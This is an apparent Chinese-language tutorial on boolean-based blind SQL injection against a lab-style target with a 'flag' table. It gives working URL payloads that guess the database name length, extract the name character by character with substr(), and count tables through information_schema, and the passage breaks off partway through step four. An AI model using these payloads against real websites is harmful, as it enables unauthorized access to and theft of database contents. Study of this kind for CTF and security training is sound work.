布尔盲注的条件: ?id=1’ and 1=1–+ 真页面true
?id=1’ and 1=2–+ 假页面false
# substr(database(),1,1):表示从数据库的第1个字母开始,显示1个字母,从1开始计数
# limit 0,1:表示从第0行开始,显示1行,从0开始计数
一、手动注入
一般顺序:
爆数据库名长度
根据库名长度爆库名
爆数据表数量
爆数据表名长度
根据表名长度爆表名
根据flag表爆数据列数量
爆数据列名长度
根据列名长度爆列名
根据列名爆数据值
1. 爆数据库名长度
?id=1 and length(database())>=5
#返回假值
?id=1 and length(database())>=4
#返回真值
#库名长度为4
2. 根据库名长度爆库名
使用substrate()函数逐个猜数据库名
?id=1 and substr(database(),1,1)=‘a’
#query_error
#库名第一个字符不是a
...
?id=1 and substr(database(),1,1)=‘s’
#query_success
#库名第一个字符是s
?id=1 and substr(database(),2,1)=‘q’
#query_success
#库名第一个字符是q
?id=1 and substr(database(),3,1)=‘l’
#query_success
#库名第一个字符是l
?id=1 and substr(database(),4,1)=‘i’
#query_success
#库名第四个字符是i
#库名是sqli
3. 爆数据表数量
使用mysql的查询语句select COUNT(*)
。从1开始试错
?id=1 and (select COUNT(*) from information_schema.tables where table_schema=database())>=2
#query_success
?id=1 and (select COUNT(*) from information_schema.tables where table_schema=database())>=3
#query_error
#当前库sqli有2张表
4.爆数据表名长度
使用 limit 0,1(第一张表),limi